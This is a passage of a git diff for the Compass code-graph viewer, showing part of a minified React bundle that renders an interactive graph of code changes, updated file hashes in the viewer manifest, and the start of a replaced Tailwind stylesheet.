jw(n,e,t,i){if(n==="added")return{color:i.added.border,dashes:!1,width:1.7,opacity:.6};if(n==="removed")return{color:i.removed.border,dashes:[6,5],width:1.6,opacity:.56};if(n==="changed")return{color:i.changed.border,dashes:!1,width:1.65,opacity:.48};if(n==="unchanged")return{color:i.unchanged.border,dashes:!0,width:1,opacity:.2};const C=AQ(e);return{color:t,...C}}function CQ(n){return n==="added"?{enabled:!0,type:"curvedCW",roundness:.13}:n==="removed"?{enabled:!0,type:"curvedCCW",roundness:.13}:{enabled:!0,type:"continuous",roundness:.1}}function IQ(n){const e=new Map;for(const o of[...n].sort((s,a)=>s.id.localeCompare(a.id))){const s=o.change??"unchanged",a=e.get(s)??[];a.push(o),e.set(s,a)}const t={added:-300,changed:0,removed:300,unchanged:0},i=new Map,C=Math.PI*(3-Math.sqrt(5));for(const[o,s]of e)s.forEach((a,l)=>{const u=l*C,h=o==="unchanged"?210+Math.sqrt(l)*34:42+Math.sqrt(l)*40;i.set(a.id,{x:t[o]+Math.cos(u)*h,y:Math.sin(u)*h})});return i}function oQ(){const[n,e]=Ce.useState(0);return Ce.useEffect(()=>{const t=()=>e(o=>o+1),i=new MutationObserver(t);i.observe(document.documentElement,{attributes:!0,attributeFilter:["class","style"]}),i.observe(document.body,{attributes:!0,attributeFilter:["class","style"]});const C=window.matchMedia("(prefers-color-scheme: dark)");return C.addEventListener("change",t),()=>{i.disconnect(),C.removeEventListener("change",t)}},[]),n}function Ou(n){const e=n.match(/^#([\da-f]{3}|[\da-f]{6})$/i)?.[1];if(e){const i=e.length===3?[...e].map(C=>`${C}${C}`).join(""):e;return[Number.parseInt(i.slice(0,2),16),Number.parseInt(i.slice(2,4),16),Number.parseInt(i.slice(4,6),16)]}const t=n.match(/^rgba?\(\s*([\d.]+)[,\s]+([\d.]+)[,\s]+([\d.]+)/i);if(t)return[Number.parseFloat(t[1]??"0"),Number.parseFloat(t[2]??"0"),Number.parseFloat(t[3]??"0")]}function sQ(n,e,t){const i=Ou(n),C=Ou(e);if(!i||!C)return e;const o=i.map((s,a)=>Math.round(s*(1-t)+C[a]*t));return`rgb(${o[0]}, ${o[1]}, ${o[2]})`}function rQ(n){const e=Ou(n);return e?(e[0]*299+e[1]*587+e[2]*114)/1e3<145:!0}function pr(n,e,t,i=!1){return{background:sQ(n,e,i?t?.18:.1:t?.26:.14),border:e}}const aQ=Ce.forwardRef(function({model:e,focusedNodeId:t,physicsRunning:i,forceLabels:C,hiddenCommunities:o,hiddenChanges:s,onFocus:a,onOpenSource:l,onHover:u,onClear:h,onStabilized:p},m){const v=Ce.useRef(null),w=Ce.useRef(null),[D,N]=Ce.useState(null),z=Ce.useRef(null),k=Ce.useRef(i);k.current=i;const Y=Ce.useRef(null),j=oQ(),K=Ce.useMemo(()=>Math.max(1,...e.nodes.map(b=>b.degree??1)),[e.nodes]),Ae=Ce.useMemo(()=>Jg("--vscode-editor-foreground","#eef5ff"),[j]),q=Ce.useMemo(()=>Jg("--vscode-descriptionForeground","#60728b"),[j]),re=Ce.useMemo(()=>Jg("--vscode-editor-foreground","#eef5ff"),[j]),ze=Ce.useMemo(()=>Jg("--vscode-editor-background","#08111f"),[j]),Ge=Ce.useMemo(()=>Jg("--vscode-font-family","system-ui"),[j]),ie=Ce.useMemo(()=>{const b=Jg("--vscode-editor-background","#08111f"),R=rQ(b);return{added:pr(b,Jg("--vscode-gitDecoration-addedResourceForeground",R?"#56d364":"#1a7f37"),R),removed:pr(b,Jg("--vscode-gitDecoration-deletedResourceForeground",R?"#ff7b72":"#cf222e"),R),changed:pr(b,Jg("--vscode-gitDecoration-modifiedResourceForeground",R?"#d7a72b":"#9a6700"),R),unchanged:pr(b,Jg("--vscode-descriptionForeground",R?"#8b949e":"#656d76"),R,!0)}},[j]),fe=Ce.useMemo(()=>e.nodes.some(b=>b.change!==void 0)||e.edges.some(b=>b.change!==void 0),[e.edges,e.nodes]),Rt=Ce.useMemo(()=>new Set(fe?e.nodes.filter(b=>b.change!=="unchanged").sort((b,R)=>(R.degree??0)-(b.degree??0)||b.id.localeCompare(R.id)).slice(0,12).map(b=>b.id):[]),[fe,e.nodes]),$e=Ce.useMemo(()=>fe?IQ(e.nodes):new Map,[fe,e.nodes]),J=Ce.useMemo(()=>document.body.classList.contains("vscode-high-contrast")||document.body.classList.contains("vscode-high-contrast-light")?Jg("--vscode-contrastBorder","#ffffff"):void 0,[j]),O=Ce.useMemo(()=>new AC(e.nodes.map(b=>{const R=b.size??Math.min(40,10+30*(b.degree??1)/K),H=fe?b.change==="unchanged"?7+5*Math.sqrt((b.degree??1)/K):11+12*Math.sqrt((b.degree??1)/K):R,$=$e.get(b.id);return{id:b.id,label:b.label,color:Pw(e,b,void 0,Bw),size:H,...$??{},opacity:b.change==="unchanged"?.58:1,font:{color:"#eef5ff",face:"system-ui",size:fe?Rt.has(b.id)?12:0:(b.degree??1)>=K*.15?12:0}}})),[Rt,fe,$e,K,e]),L=Ce.useMemo(()=>new AC(e.edges.map(b=>{const R=jw(b.change,b.confidence,"#60728b",Bw);return{id:b.id,from:b.source,to:b.target,label:"",title:Zw(b),dashes:R.dashes,width:R.width,...fe?{smooth:CQ(b.change)}:{},color:{color:R.color,opacity:R.opacity}}})),[fe,e.edges]),ee=Ce.useMemo(()=>new Map(e.edges.map(b=>[b.id,b])),[e.edges]),de=Ce.useCallback(b=>{N(b)},[]),me=Ce.useCallback(()=>{N(null)},[]);return Ce.useEffect(()=>{const b=v.current;if(!b)return;Y.current=null;const R=new ge(b,{nodes:O,edges:L},fe?nQ:iQ);return R.setOptions({physics:{enabled:k.current}}),k.current||R.stopSimulation(),w.current=R,gQ(R,{onFocus:a,onOpenSource:l,onHover:u,onHoverEdge:de,onBlurEdge:me,onClear:h}),R.once("stabilizationIterationsDone",()=>{Y.current={position:R.getViewPosition(),scale:R.getScale()},p()}),()=>{R.destroy(),w.current=null}},[L,O,fe,me,de,h,a,u,l,p]),Ce.useEffect(()=>{const b=w.current;b&&(b.setOptions({physics:{enabled:i}}),i?b.startSimulation():b.stopSimulation())},[L,O,i]),Ce.useEffect(()=>{const b=new Set(e.nodes.filter(R=>o.has(R.community)||s.has(R.change??"unchanged")).map(R=>R.id));O.update(e.nodes.map(R=>({id:R.id,hidden:b.has(R.id)}))),L.update(e.edges.map(R=>({id:R.id,hidden:b.has(R.source)||b.has(R.target)})))},[L,s,o,e.edges,e.nodes,O]),Ce.useEffect(()=>{const b=w.current;if(!b)return;const R=t?new Set(b.getConnectedNodes(t).map(String)):new Set;O.update(e.nodes.map(H=>{const $=H.id===t,he=!t||$||R.has(H.id),be=H.change==="unchanged"?.58:1;return{id:H.id,opacity:t?he?Math.max(be,.72):.08:be,borderWidth:$?4:J?2.5:1.5,color:Pw(e,H,J,ie),shadow:$?{enabled:!0,color:H.change?ie[H.change].border:H.color?.background??e.communities.find(Me=>Me.id===H.community)?.color??"#76b7ff",size:24,x:0,y:0}:{enabled:!1}}})),L.update(e.edges.map(H=>{const $=jw(H.change,H.confidence,q,ie),he=H.source===t||H.target===t;return{id:H.id,dashes:$.dashes,color:{color:$.color,opacity:t?he?.92:.05:$.opacity},width:he?Math.max(3,$.width):$.width}})),t?(b.selectNodes([t]),b.focus(t,{scale:1.35,animation:window.matchMedia("(prefers-reduced-motion: reduce)").matches?!1:{duration:260,easingFunction:"easeInOutQuad"}})):b.unselectAll()},[J,ie,q,L,t,e,O]),Ce.useEffect(()=>{O.update(e.nodes.map(b=>({id:b.id,font:{color:Ae,size:C||b.id===t||(fe?Rt.has(b.id):(b.degree??1)>=K*.15)?12:0}})))},[Rt,fe,t,C,Ae,K,e.nodes,O]),Ce.useEffect(()=>{const b=z.current,R=[];if(b&&b!==D&&L.get(b)&&R.push({id:b,label:""}),D){const H=ee.get(D);H&&tQ(H,{hoveredEdgeId:D})&&R.push({id:H.id,label:Zw(H),font:{align:"middle",face:Ge,size:11,color:re,background:ze,strokeWidth:0}})}R.length>0&&L.update(R),z.current=D},[L,ze,re,Ge,ee,D]),Ce.useImperativeHandle(m,()=>({fit(){w.current?.fit({animation:window.matchMedia("(prefers-reduced-motion: reduce)").matches?!1:{duration:280,easingFunction:"easeInOutQuad"}})},reset(){const b=w.current,R=Y.current;if(b){if(!R){b.fit({animation:!1});return}b.moveTo({position:R.position,scale:R.scale,animation:!1})}}}),[]),E.jsx("div",{ref:v,className:"compass-canvas",role:"region","aria-label":"Interactive Compass code graph"})}),lQ={focusedNodeId:null,physicsRunning:!0,initialLayoutPending:!0,forceLabels:!1,hiddenCommunities:new Set,hiddenChanges:new Set,query:""};function cQ(n,e){switch(e.type){case"focus":return{...n,focusedNodeId:e.nodeId,physicsRunning:!1};case"clearFocus":return{...n,focusedNodeId:null};case"stabilized":return n.physicsRunning||n.initialLayoutPending?{...n,physicsRunning:!1,initialLayoutPending:!1}:n;case"revealLayout":return{...n,physicsRunning:!1,initialLayoutPending:!1};case"setPhysics":return{...n,physicsRunning:e.running};case"setLabels":return{...n,forceLabels:e.visible};case"search":return{...n,query:e.query};case"toggleCommunity":{const t=new Set(n.hiddenCommunities);return t.has(e.communityId)?t.delete(e.communityId):t.add(e.communityId),{...n,hiddenCommunities:t}}case"setHiddenCommunities":return{...n,hiddenCommunities:new Set(e.communityIds)};case"toggleChange":{const t=new Set(n.hiddenChanges);return t.has(e.change)?t.delete(e.change):t.add(e.change),{...n,hiddenChanges:t}}}}const uQ=[{value:"added",label:"Added"},{value:"removed",label:"Removed"},{value:"changed",label:"Changed"},{value:"unchanged",label:"Context"}];function dQ({model:n,host:e,communityDetail:t,communityLoading:i,communityError:C,onBackToOverview:o,sourceRevisions:s,initialInspectorLayout:a,onInspectorLayoutChange:l}){const[u,h]=Ce.useState(()=>bp(a)),p=Ce.useCallback(w=>{const D=bp(w);h(D),l?.(D)},[l]),m=t?.model??n,v=t?`community-${t.communityId}`:"overview";return E.jsx(hQ,{model:m,host:e,detailCommunityId:t?.communityId,communityLoading:i,communityError:C,onBackToOverview:t?o:void 0,bounded:t?.bounded,sourceRevisions:s,inspectorLayout:u,onInspectorLayoutChange:p},v)}function hQ({model:n,host:e,detailCommunityId:t,communityLoading:i,communityError:C,onBackToOverview:o,bounded:s,sourceRevisions:a,inspectorLayout:l,onInspectorLayoutChange:u}){const[h,p]=Ce.useReducer(cQ,lQ),[m,v]=Ce.useState(null),w=Ce.useRef(null),D=Ce.useRef(e);D.current=e;const N=n.nodes.find(J=>J.id===h.focusedNodeId),z=m?n.nodes.find(J=>J.id===m.nodeId):void 0,k=z?wp(n,z,t):void 0,Y=n.nodes.some(J=>J.change!==void 0)||n.edges.some(J=>J.change!==void 0),j=Ce.useMemo(()=>{const J=new Map;for(const O of n.nodes){const L=O.change??"unchanged";J.set(L,(J.get(L)??0)+1)}return J},[n.nodes]),K=Ce.useMemo(()=>{if(!N)return[];const J=new Set;for(const O of n.edges)O.source===N.id&&J.add(O.target),O.target===N.id&&J.add(O.source);return[...J].map(O=>n.nodes.find(L=>L.id===O)).filter(O=>O!==void 0).sort((O,L)=>O.label.localeCompare(L.label))},[n.edges,n.nodes,N]),Ae=Ce.useMemo(()=>{const J=h.query.trim().toLocaleLowerCase();return J?n.nodes.filter(O=>O.label.toLocaleLowerCase().includes(J)||O.source?.file.toLocaleLowerCase().includes(J)||O.kind?.toLocaleLowerCase().includes(J)).slice(0,20):[]},[n.nodes,h.query]),q=Ce.useCallback(J=>{v(null),p({type:"focus",nodeId:J})},[]),re=Ce.useCallback(()=>{v(null),p({type:"clearFocus"})},[]),ze=Ce.useCallback(()=>{p({type:"stabilized"})},[]),Ge=Ce.useCallback(()=>{p({type:"revealLayout"})},[]),ie=Ce.useCallback(J=>{const O=n.nodes.find(ee=>ee.id===J);if(!O)return;const L=wp(n,O,t);L.type==="community"&&D.current.openCommunity?.(L.communityId),L.type==="source"&&D.current.openSource(L.source,O.change==="removed"?a?.before:a?.after)},[t,n.nodes,n.stats.aggregated,a?.after,a?.before]),fe=N?`Inspecting ${N.label}`:h.physicsRunning?"Layout running":"Layout paused",Rt=i!=null?n.communities.find(J=>J.id===i):void 0,$e=i!=null?{kind:"community",communityLabel:Rt?.label??`Community ${i}`}:h.initialLayoutPending?{kind:"layout"}:null;return E.jsxs("div",{className:"compass-workspace",style:{"--compass-inspector-width":`${l.width}px`},children:[E.jsxs("div",{className:"compass-workspace-content","data-inspector-collapsed":l.collapsed,inert:$e?!0:void 0,"aria-hidden":$e?!0:void 0,children:[E.jsxs("main",{className:"compass-graph-stage","data-comparison":Y?"true":"false",children:[E.jsx(aQ,{ref:w,model:n,focusedNodeId:h.focusedNodeId,physicsRunning:h.physicsRunning,forceLabels:h.forceLabels,hiddenCommunities:h.hiddenCommunities,hiddenChanges:h.hiddenChanges,onFocus:q,onOpenSource:ie,onHover:v,onClear:re,onStabilized:ze}),E.jsx(dz,{status:fe,physicsRunning:h.physicsRunning,forceLabels:h.forceLabels,onTogglePhysics:()=>p({type:"setPhysics",running:!h.physicsRunning}),onFit:()=>w.current?.fit(),onReset:()=>{re(),w.current?.reset()},onToggleLabels:()=>p({type:"setLabels",visible:!h.forceLabels}),onBack:o}),Y&&E.jsx("div",{className:"compass-change-legend","aria-label":"Graph change filters",children:uQ.filter(({value:J})=>(j.get(J)??0)>0).map(({value:J,label:O})=>{const L=!h.hiddenChanges.has(J);return E.jsxs("button",{type:"button","data-change":J,"aria-pressed":L,onClick:()=>p({type:"toggleChange",change:J}),children:[E.jsx("span",{"aria-hidden":"true"}),O,E.jsx("small",{children:j.get(J)??0})]},J)})}),C&&E.jsx("div",{className:"absolute bottom-4 left-4 z-20 max-w-md rounded-md border border-destructive/50 bg-background/95 px-3 py-2 text-sm text-destructive shadow-lg",role:"alert",children:C}),s&&E.jsxs("div",{className:"compass-bounded-notice",role:"status",children:[E.jsx("strong",{children:"Partial community comparison"}),E.jsxs("span",{children:["This view is limited to ",s.limit.toLocaleString()," nodes. Increase"," ",E.jsx("code",{children:"compass.graphNodeLimit"})," to inspect all"," ",Math.max(s.parentMembers,s.currentMembers).toLocaleString()," symbols."]})]}),m&&z&&k&&E.jsx(vz,{node:z,hover:m,activation:k})]}),!l.collapsed&&E.jsx(pz,{width:l.width,onResize:J=>u({...l,width:J})}),E.jsx(lz,{model:n,selected:N,neighbors:K,connectedEdges:N?n.edges.filter(J=>J.source===N.id||J.target===N.id):[],query:h.query,matches:Ae,hiddenCommunities:h.hiddenCommunities,comparisonMode:Y,sourceRevisions:a,onQueryChange:J=>p({type:"search",query:J}),onFocus:q,onOpenSource:e.openSource,onOpenCommunity:t===void 0?e.openCommunity:void 0,onToggleCommunity:J=>p({type:"toggleCommunity",communityId:J}),onSetAllVisible:J=>p({type:"setHiddenCommunities",communityIds:J?[]:n.communities.map(O=>O.id)}),collapsed:l.collapsed,onToggleCollapsed:()=>u({...l,collapsed:!l.collapsed})})]}),$e?.kind==="community"?E.jsx(pp,{kind:"community",communityLabel:$e.communityLabel}):$e?.kind==="layout"?E.jsx(pp,{kind:"layout",onShowGraph:Ge}):null]})}function Lw(){const n=document.getElementById("compass-viewer-root"),e=document.getElementById("compass-viewer-model");if(!n||!e)throw new Error("Compass viewer root or model is missing");const t=LD.parse(JSON.parse(e.textContent??""));q2.createRoot(n).render(E.jsx(Ce.StrictMode,{children:E.jsx(dQ,{model:t,host:{openSource(i){window.dispatchEvent(new CustomEvent("compass:open-source",{detail:i}))}}})}))}document.readyState==="loading"?document.addEventListener("DOMContentLoaded",Lw,{once:!0}):Lw()})(); diff --git a/crates/compass-output/assets/viewer/manifest.json b/crates/compass-output/assets/viewer/manifest.json index 3bb0c0ef..8a09ad5c 100644 --- a/crates/compass-output/assets/viewer/manifest.json +++ b/crates/compass-output/assets/viewer/manifest.json @@ -3,12 +3,12 @@ "viewerSchema": "compass.viewer.graph/1", "files": { "graph.js": { - "bytes": 925345, - "sha256": "65804302e19c787e8272c69a424d5876331e8b16bc9a40f1bb5d052ff02c56c1" + "bytes": 928747, + "sha256": "cb8758815fa3eee0456cb70e182adfacc9a8a635c592121de865b2ea1a4ee308" }, "viewer.css": { - "bytes": 146861, - "sha256": "110c8e17b34c97f82d8f44bf4bb63bfb05f7b13a9d2fb5e130cd58c77cfa367f" + "bytes": 165382, + "sha256": "ceacc2801cf8a1aac785f0976a9a1e29ed376a49f8a41014bac6599a4d7b1b76" } } } diff --git a/crates/compass-output/assets/viewer/viewer.css b/crates/compass-output/assets/viewer/viewer.css index b1e2eb55..53128b09 100644 --- a/crates/compass-output/assets/viewer/viewer.css +++ b/crates/compass-output/assets/viewer/viewer.css @@ -1 +1 @@ -@layer properties{@supports (((-webkit-hyphens:none)) and (not (margin-trim:inline))) or ((-moz-orient:inline) and (not (color:rgb(from red r g b)))){*,:before,:after,::backdrop{--tw-translate-x:0;--tw-translate-y:0;--tw-translate-z:0;--tw-border-style:solid;--tw-font-weight:initial;--tw-shadow:0 0 #0000;--tw-shadow-color:initial;--tw-shadow-alpha:100%;--tw-inset-shadow:0 0 #0000;--tw-inset-shadow-color:initial;--tw-inset-shadow-alpha:100%;--tw-ring-color:initial;--tw-ring-shadow:0 0 #0000;--tw-inset-ring-color:initial;--tw-inset-ring-shadow:0 0 #0000;--tw-ring-inset:initial;--tw-ring-offset-width:0px;--tw-ring-offset-color:#fff;--tw-ring-offset-shadow:0 0 #0000;--tw-outline-style:solid;--tw-blur:initial;--tw-brightness:initial;--tw-contrast:initial;--tw-grayscale:initial;--tw-hue-rotate:initial;--tw-invert:initial;--tw-opacity:initial;--tw-saturate:initial;--tw-sepia:initial;--tw-drop-shadow:initial;--tw-drop-shadow-color:initial;--tw-drop-shadow-alpha:100%;--tw-drop-shadow-size:initial;--tw-backdrop-blur:initial;--tw-backdrop-brightness:initial;--tw-backdrop-contrast:initial;--tw-backdrop-grayscale:initial;--tw-backdrop-hue-rotate:initial;--tw-backdrop-invert:initial;--tw-backdrop-opacity:initial;--tw-backdrop-saturate:initial;--tw-backdrop-sepia:initial;--tw-content:"";--tw-animation-delay:0s;--tw-animation-direction:normal;--tw-animation-duration:initial;--tw-animation-fill-mode:none;--tw-animation-iteration-count:1;--tw-enter-blur:0;--tw-enter-opacity:1;--tw-enter-rotate:0;--tw-enter-scale:1;--tw-enter-translate-x:0;--tw-enter-translate-y:0;--tw-exit-blur:0;--tw-exit-opacity:1;--tw-exit-rotate:0;--tw-exit-scale:1;--tw-exit-translate-x:0;--tw-exit-translate-y:0}}}@layer theme{:root,:host{--spacing:.25rem;--container-xs:20rem;--container-md:28rem;--text-xs:.75rem;--text-xs--line-height:calc(1 / .75);--text-sm:.875rem;--text-sm--line-height:calc(1.25 / .875);--text-base:1rem;--text-base--line-height: 1.5 ;--font-weight-medium:500;--radius-md:calc(var(--radius) - 2px);--radius-4xl:2rem;--animate-spin:spin 1s linear infinite;--animate-pulse:pulse 2s cubic-bezier(.4, 0, .6, 1) infinite;--default-transition-duration:.15s;--default-transition-timing-function:cubic-bezier(.4, 0, .2, 1);--default-font-family:var(--compass-font-sans);--default-mono-font-family:var(--compass-font-mono)}}@layer base{*,:after,:before,::backdrop{box-sizing:border-box;border:0 solid;margin:0;padding:0}::file-selector-button{box-sizing:border-box;border:0 solid;margin:0;padding:0}html,:host{-webkit-text-size-adjust:100%;tab-size:4;line-height:1.5;font-family:var(--default-font-family,-apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, "Helvetica Neue", "Noto Sans", Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol", "Noto Color Emoji");font-feature-settings:var(--default-font-feature-settings,normal);font-variation-settings:var(--default-font-variation-settings,normal);-webkit-tap-highlight-color:transparent}hr{height:0;color:inherit;border-top-width:1px}abbr:where([title]){-webkit-text-decoration:underline dotted;text-decoration:underline dotted}h1,h2,h3,h4,h5,h6{font-size:inherit;font-weight:inherit}a{color:inherit;-webkit-text-decoration:inherit;text-decoration:inherit}b,strong{font-weight:bolder}code,kbd,samp,pre{font-family:var(--default-mono-font-family,ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, "Liberation Mono", "Courier New", monospace);font-feature-settings:var(--default-mono-font-feature-settings,normal);font-variation-settings:var(--default-mono-font-variation-settings,normal);font-size:1em}small{font-size:80%}sub,sup{vertical-align:baseline;font-size:75%;line-height:0;position:relative}sub{bottom:-.25em}sup{top:-.5em}table{text-indent:0;border-color:inherit;border-collapse:collapse}:-moz-focusring:where(:not(iframe)){outline:auto}progress{vertical-align:baseline}summary{display:list-item}ol,ul,menu{list-style:none}img,svg,video,canvas,audio,iframe,embed,object{vertical-align:middle;display:block}img,video{max-width:100%;height:auto}button,input,select,optgroup,textarea{font:inherit;font-feature-settings:inherit;font-variation-settings:inherit;letter-spacing:inherit;color:inherit;opacity:1;background-color:#0000;border-radius:0}::file-selector-button{font:inherit;font-feature-settings:inherit;font-variation-settings:inherit;letter-spacing:inherit;color:inherit;opacity:1;background-color:#0000;border-radius:0}:where(select:is([multiple],[size])) optgroup{font-weight:bolder}:where(select:is([multiple],[size])) optgroup option{padding-inline-start:20px}::file-selector-button{margin-inline-end:4px}::placeholder{opacity:1}@supports (not ((-webkit-appearance:-apple-pay-button))) or (contain-intrinsic-size:1px){::placeholder{color:currentColor}@supports (color:color-mix(in lab,red,red)){::placeholder{color:color-mix(in oklab,currentcolor 50%,transparent)}}}textarea{resize:vertical}::-webkit-search-decoration{-webkit-appearance:none}::-webkit-date-and-time-value{min-height:1lh;text-align:inherit}::-webkit-datetime-edit{display:inline-flex}::-webkit-datetime-edit-fields-wrapper{padding:0}::-webkit-datetime-edit{padding-block:0}::-webkit-datetime-edit-year-field{padding-block:0}::-webkit-datetime-edit-month-field{padding-block:0}::-webkit-datetime-edit-day-field{padding-block:0}::-webkit-datetime-edit-hour-field{padding-block:0}::-webkit-datetime-edit-minute-field{padding-block:0}::-webkit-datetime-edit-second-field{padding-block:0}::-webkit-datetime-edit-millisecond-field{padding-block:0}::-webkit-datetime-edit-meridiem-field{padding-block:0}::-webkit-calendar-picker-indicator{line-height:1}:-moz-ui-invalid{box-shadow:none}button,input:where([type=button],[type=reset],[type=submit]){appearance:button}::file-selector-button{appearance:button}::-webkit-inner-spin-button{height:auto}::-webkit-outer-spin-button{height:auto}[hidden]:where(:not([hidden=until-found])){display:none!important}}@layer components;@layer utilities{.visible{visibility:visible}.sr-only{clip-path:inset(50%);white-space:nowrap;border-width:0;width:1px;height:1px;margin:-1px;padding:0;position:absolute;overflow:hidden}.absolute{position:absolute}.relative{position:relative}.static{position:static}.top-2{top:calc(var(--spacing) * 2)}.right-2{right:calc(var(--spacing) * 2)}.bottom-3{bottom:calc(var(--spacing) * 3)}.bottom-4{bottom:calc(var(--spacing) * 4)}.left-3{left:calc(var(--spacing) * 3)}.left-4{left:calc(var(--spacing) * 4)}.z-20{z-index:20}.z-50{z-index:50}.container{width:100%}@media(min-width:40rem){.container{max-width:40rem}}@media(min-width:48rem){.container{max-width:48rem}}@media(min-width:64rem){.container{max-width:64rem}}@media(min-width:80rem){.container{max-width:80rem}}@media(min-width:96rem){.container{max-width:96rem}}.mt-2{margin-top:calc(var(--spacing) * 2)}.flex{display:flex}.grid{display:grid}.hidden{display:none}.inline{display:inline}.inline-flex{display:inline-flex}.size-2\.5{width:calc(var(--spacing) * 2.5);height:calc(var(--spacing) * 2.5)}.size-6{width:calc(var(--spacing) * 6);height:calc(var(--spacing) * 6)}.size-7{width:calc(var(--spacing) * 7);height:calc(var(--spacing) * 7)}.size-8{width:calc(var(--spacing) * 8);height:calc(var(--spacing) * 8)}.size-9{width:calc(var(--spacing) * 9);height:calc(var(--spacing) * 9)}.size-full{width:100%;height:100%}.h-5{height:calc(var(--spacing) * 5)}.h-6{height:calc(var(--spacing) * 6)}.h-7{height:calc(var(--spacing) * 7)}.h-8{height:calc(var(--spacing) * 8)}.h-9{height:calc(var(--spacing) * 9)}.h-\[calc\(100\%-1px\)\]{height:calc(100% - 1px)}.h-screen{height:100vh}.max-h-24{max-height:calc(var(--spacing) * 24)}.w-fit{width:fit-content}.w-full{width:100%}.max-w-\[min\(44rem\,calc\(100\%-1\.5rem\)\)\]{max-width:min(44rem,100% - 1.5rem)}.max-w-md{max-width:var(--container-md)}.max-w-xs{max-width:var(--container-xs)}.min-w-0{min-width:0}.min-w-7{min-width:calc(var(--spacing) * 7)}.min-w-8{min-width:calc(var(--spacing) * 8)}.min-w-9{min-width:calc(var(--spacing) * 9)}.flex-1{flex:1}.shrink-0{flex-shrink:0}.origin-\(--radix-tooltip-content-transform-origin\){transform-origin:var(--radix-tooltip-content-transform-origin)}.translate-y-\[calc\(-50\%_-_2px\)\]{--tw-translate-y: calc(-50% - 2px) ;translate:var(--tw-translate-x) var(--tw-translate-y)}.rotate-45{rotate:45deg}.animate-pulse{animation:var(--animate-pulse)}.animate-spin{animation:var(--animate-spin)}.touch-none{touch-action:none}.flex-col{flex-direction:column}.flex-row{flex-direction:row}.flex-wrap{flex-wrap:wrap}.items-center{align-items:center}.justify-between{justify-content:space-between}.justify-center{justify-content:center}.gap-0\.5{gap:calc(var(--spacing) * .5)}.gap-1{gap:var(--spacing)}.gap-1\.5{gap:calc(var(--spacing) * 1.5)}.gap-2{gap:calc(var(--spacing) * 2)}.gap-\[--spacing\(var\(--gap\)\)\]{gap:calc(var(--spacing) * var(--gap))}.overflow-auto{overflow:auto}.overflow-hidden{overflow:hidden}.rounded-4xl{border-radius:var(--radius-4xl)}.rounded-\[2px\]{border-radius:2px}.rounded-\[inherit\]{border-radius:inherit}.rounded-\[min\(var\(--radius-md\)\,10px\)\]{border-radius:min(var(--radius-md),10px)}.rounded-\[min\(var\(--radius-md\)\,12px\)\]{border-radius:min(var(--radius-md),12px)}.rounded-full{border-radius:3.40282e38px}.rounded-lg{border-radius:var(--radius)}.rounded-md{border-radius:calc(var(--radius) - 2px)}.border{border-style:var(--tw-border-style);border-width:1px}.border-border{border-color:var(--border)}.border-destructive\/50{border-color:var(--destructive)}@supports (color:color-mix(in lab,red,red)){.border-destructive\/50{border-color:color-mix(in oklab,var(--destructive) 50%,transparent)}}.border-input{border-color:var(--input)}.border-transparent{border-color:#0000}.bg-background,.bg-background\/95{background-color:var(--background)}@supports (color:color-mix(in lab,red,red)){.bg-background\/95{background-color:color-mix(in oklab,var(--background) 95%,transparent)}}.bg-border{background-color:var(--border)}.bg-card{background-color:var(--card)}.bg-destructive\/10{background-color:var(--destructive)}@supports (color:color-mix(in lab,red,red)){.bg-destructive\/10{background-color:color-mix(in oklab,var(--destructive) 10%,transparent)}}.bg-foreground{background-color:var(--foreground)}.bg-muted{background-color:var(--muted)}.bg-popover\/95{background-color:var(--popover)}@supports (color:color-mix(in lab,red,red)){.bg-popover\/95{background-color:color-mix(in oklab,var(--popover) 95%,transparent)}}.bg-primary{background-color:var(--primary)}.bg-secondary{background-color:var(--secondary)}.bg-transparent{background-color:#0000}.bg-clip-padding{background-clip:padding-box}.fill-foreground{fill:var(--foreground)}.p-3{padding:calc(var(--spacing) * 3)}.p-\[3px\]{padding:3px}.p-px{padding:1px}.px-1\.5{padding-inline:calc(var(--spacing) * 1.5)}.px-2{padding-inline:calc(var(--spacing) * 2)}.px-2\.5{padding-inline:calc(var(--spacing) * 2.5)}.px-3{padding-inline:calc(var(--spacing) * 3)}.py-0\.5{padding-block:calc(var(--spacing) * .5)}.py-1{padding-block:var(--spacing)}.py-1\.5{padding-block:calc(var(--spacing) * 1.5)}.py-2{padding-block:calc(var(--spacing) * 2)}.text-left{text-align:left}.text-base{font-size:var(--text-base);line-height:var(--tw-leading,var(--text-base--line-height))}.text-sm{font-size:var(--text-sm);line-height:var(--tw-leading,var(--text-sm--line-height))}.text-xs{font-size:var(--text-xs);line-height:var(--tw-leading,var(--text-xs--line-height))}.text-\[0\.8rem\]{font-size:.8rem}.font-medium{--tw-font-weight:var(--font-weight-medium);font-weight:var(--font-weight-medium)}.text-balance{text-wrap:balance}.whitespace-nowrap{white-space:nowrap}.text-background{color:var(--background)}.text-card-foreground{color:var(--card-foreground)}.text-destructive{color:var(--destructive)}.text-foreground,.text-foreground\/60{color:var(--foreground)}@supports (color:color-mix(in lab,red,red)){.text-foreground\/60{color:color-mix(in oklab,var(--foreground) 60%,transparent)}}.text-muted-foreground{color:var(--muted-foreground)}.text-popover-foreground{color:var(--popover-foreground)}.text-primary{color:var(--primary)}.text-primary-foreground{color:var(--primary-foreground)}.text-secondary-foreground{color:var(--secondary-foreground)}.underline-offset-4{text-underline-offset:4px}.shadow{--tw-shadow:0 1px 3px 0 var(--tw-shadow-color,#0000001a), 0 1px 2px -1px var(--tw-shadow-color,#0000001a);box-shadow:var(--tw-inset-shadow),var(--tw-inset-ring-shadow),var(--tw-ring-offset-shadow),var(--tw-ring-shadow),var(--tw-shadow)}.shadow-lg{--tw-shadow:0 10px 15px -3px var(--tw-shadow-color,#0000001a), 0 4px 6px -4px var(--tw-shadow-color,#0000001a);box-shadow:var(--tw-inset-shadow),var(--tw-inset-ring-shadow),var(--tw-ring-offset-shadow),var(--tw-ring-shadow),var(--tw-shadow)}.shadow-xl{--tw-shadow:0 20px 25px -5px var(--tw-shadow-color,#0000001a), 0 8px 10px -6px var(--tw-shadow-color,#0000001a);box-shadow:var(--tw-inset-shadow),var(--tw-inset-ring-shadow),var(--tw-ring-offset-shadow),var(--tw-ring-shadow),var(--tw-shadow)}.outline{outline-style:var(--tw-outline-style);outline-width:1px}.blur{--tw-blur:blur(8px);filter:var(--tw-blur,) var(--tw-brightness,) var(--tw-contrast,) var(--tw-grayscale,) var(--tw-hue-rotate,) var(--tw-invert,) var(--tw-saturate,) var(--tw-sepia,) 